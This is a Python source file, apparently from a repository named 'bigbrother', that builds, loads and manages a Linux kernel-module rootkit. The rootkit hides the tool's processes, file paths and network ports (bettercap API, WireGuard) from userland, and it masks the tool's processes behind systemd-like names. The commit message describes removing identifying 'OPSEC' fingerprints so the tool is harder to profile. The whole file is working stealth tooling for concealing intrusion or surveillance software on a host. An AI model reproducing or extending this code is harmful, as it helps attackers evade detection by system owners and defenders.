Files
bigbrother/modules/stealth/lkm_rootkit.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

294 lines
11 KiB
Python

#!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides
SystemMonitor processes, files, and network connections from userland."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC
logger = logging.getLogger(__name__)
LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c"
LKM_MODULE = "bb_hide.ko"
LKM_MODULE_NAME = "bb_hide"
# Default hide lists
DEFAULT_HIDE_PREFIX = ".cache/bb"
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
class LKMRootkit(BaseModule):
"""Manage a Linux kernel module for process/file/connection hiding.
Debian generic host only -- gracefully skips on SBC tiers."""
name = "lkm_rootkit"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
self._loaded = False
self._hidden_pids: list[int] = []
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
self._hide_process_names: list[str] = config.get("hide_process_names", [
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
])
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Check hardware tier: LKM only on generic Debian hosts
tier = get_hardware_tier()
if tier != TIER_GENERIC:
logger.info(
"LKMRootkit skipped — tier '%s' does not support kernel modules "
"(requires 'generic' Debian host)", tier,
)
self.state.set_module_status(self.name, "skipped",
extra={"reason": f"unsupported_tier:{tier}"})
self.bus.emit("MODULE_STARTED", {
"module": self.name, "skipped": True, "reason": "unsupported_tier",
}, source_module=self.name)
return
# Build if needed
if not os.path.isfile(self._module_path):
if not self._build_module():
logger.error("LKM build failed — module not available")
self.state.set_module_status(self.name, "error",
extra={"reason": "build_failed"})
return
# Load module
if self._load_module():
self._loaded = True
self._configure_hide_lists()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit loaded and configured")
else:
self.state.set_module_status(self.name, "error",
extra={"reason": "load_failed"})
def stop(self) -> None:
self._running = False
if self._loaded:
self._unload_module()
self._loaded = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"loaded": self._loaded,
"hidden_pids": list(self._hidden_pids),
"hidden_paths": list(self._hidden_paths),
"hidden_ports": list(self._hidden_ports),
"module_path": self._module_path,
}
def configure(self, config: dict) -> None:
if "hide_paths" in config:
self._hidden_paths = config["hide_paths"]
if "hide_ports" in config:
self._hidden_ports = config["hide_ports"]
if "hide_process_names" in config:
self._hide_process_names = config["hide_process_names"]
if self._loaded:
self._configure_hide_lists()
# ------------------------------------------------------------------
# Public: dynamic hide/unhide
# ------------------------------------------------------------------
def hide_pid(self, pid: int) -> bool:
"""Add a PID to the kernel module's hide list."""
if not self._loaded:
return False
if pid not in self._hidden_pids:
self._hidden_pids.append(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def unhide_pid(self, pid: int) -> bool:
"""Remove a PID from the kernel module's hide list."""
if not self._loaded:
return False
if pid in self._hidden_pids:
self._hidden_pids.remove(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def hide_port(self, port: int) -> bool:
"""Add a port to the kernel module's hide list."""
if not self._loaded:
return False
if port not in self._hidden_ports:
self._hidden_ports.append(port)
return self._write_param("hide_ports", self._format_port_list())
return True
# ------------------------------------------------------------------
# Internal: build
# ------------------------------------------------------------------
def _build_module(self) -> bool:
"""Compile the kernel module from source."""
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
if not os.path.isfile(source_path):
logger.error("LKM source not found: %s", source_path)
return False
# Check for kernel headers
kdir = f"/lib/modules/{os.uname().release}/build"
if not os.path.isdir(kdir):
logger.error("Kernel headers not found: %s", kdir)
return False
try:
result = subprocess.run(
["make", "-C", self._lkm_dir],
capture_output=True, timeout=120,
env={**os.environ, "KDIR": kdir},
)
if result.returncode == 0:
logger.info("LKM built successfully: %s", self._module_path)
return True
else:
logger.error(
"LKM build failed (rc=%d): %s",
result.returncode,
result.stderr.decode(errors="replace")[:500],
)
return False
except FileNotFoundError:
logger.error("make not found — cannot build LKM")
return False
except subprocess.TimeoutExpired:
logger.error("LKM build timed out")
return False
# ------------------------------------------------------------------
# Internal: load/unload
# ------------------------------------------------------------------
def _load_module(self) -> bool:
"""Load the kernel module via insmod."""
params = self._build_insmod_params()
try:
cmd = ["insmod", self._module_path] + params
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
logger.info("LKM loaded: %s", self._module_path)
return True
else:
stderr = result.stderr.decode(errors="replace")
if "File exists" in stderr:
logger.info("LKM already loaded")
return True
logger.error("insmod failed: %s", stderr[:300])
return False
except FileNotFoundError:
logger.error("insmod not found")
return False
except Exception:
logger.exception("LKM load failed")
return False
def _unload_module(self) -> bool:
"""Unload the kernel module via rmmod."""
try:
result = subprocess.run(
["rmmod", LKM_MODULE_NAME],
capture_output=True, timeout=30,
)
if result.returncode == 0:
logger.info("LKM unloaded")
return True
else:
logger.warning(
"rmmod failed: %s",
result.stderr.decode(errors="replace")[:200],
)
return False
except FileNotFoundError:
logger.error("rmmod not found")
return False
except Exception:
logger.exception("LKM unload failed")
return False
# ------------------------------------------------------------------
# Internal: module parameter management
# ------------------------------------------------------------------
def _build_insmod_params(self) -> list[str]:
"""Build insmod parameter list."""
params = []
if self._hidden_paths:
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
if self._hidden_pids:
params.append(f'hide_pids="{self._format_pid_list()}"')
if self._hidden_ports:
params.append(f'hide_ports="{self._format_port_list()}"')
return params
def _configure_hide_lists(self) -> None:
"""Write current hide lists to loaded module's parameters via sysfs."""
if not self._loaded:
return
# Collect current SystemMonitor PIDs from state
try:
all_status = self.state.get_all_module_status()
for mod_name, mod_status in all_status.items():
pid = mod_status.get("pid")
if pid and pid not in self._hidden_pids:
self._hidden_pids.append(pid)
except Exception:
pass
self._write_param("hide_pids", self._format_pid_list())
self._write_param("hide_ports", self._format_port_list())
if self._hidden_paths:
self._write_param("hide_prefix", self._hidden_paths[0])
@staticmethod
def _write_param(param: str, value: str) -> bool:
"""Write to kernel module parameter via /sys/module/."""
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
try:
with open(param_path, "w") as f:
f.write(value)
return True
except (IOError, PermissionError, FileNotFoundError):
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
return False
def _format_pid_list(self) -> str:
return ",".join(str(p) for p in self._hidden_pids)
def _format_port_list(self) -> str:
return ",".join(str(p) for p in self._hidden_ports)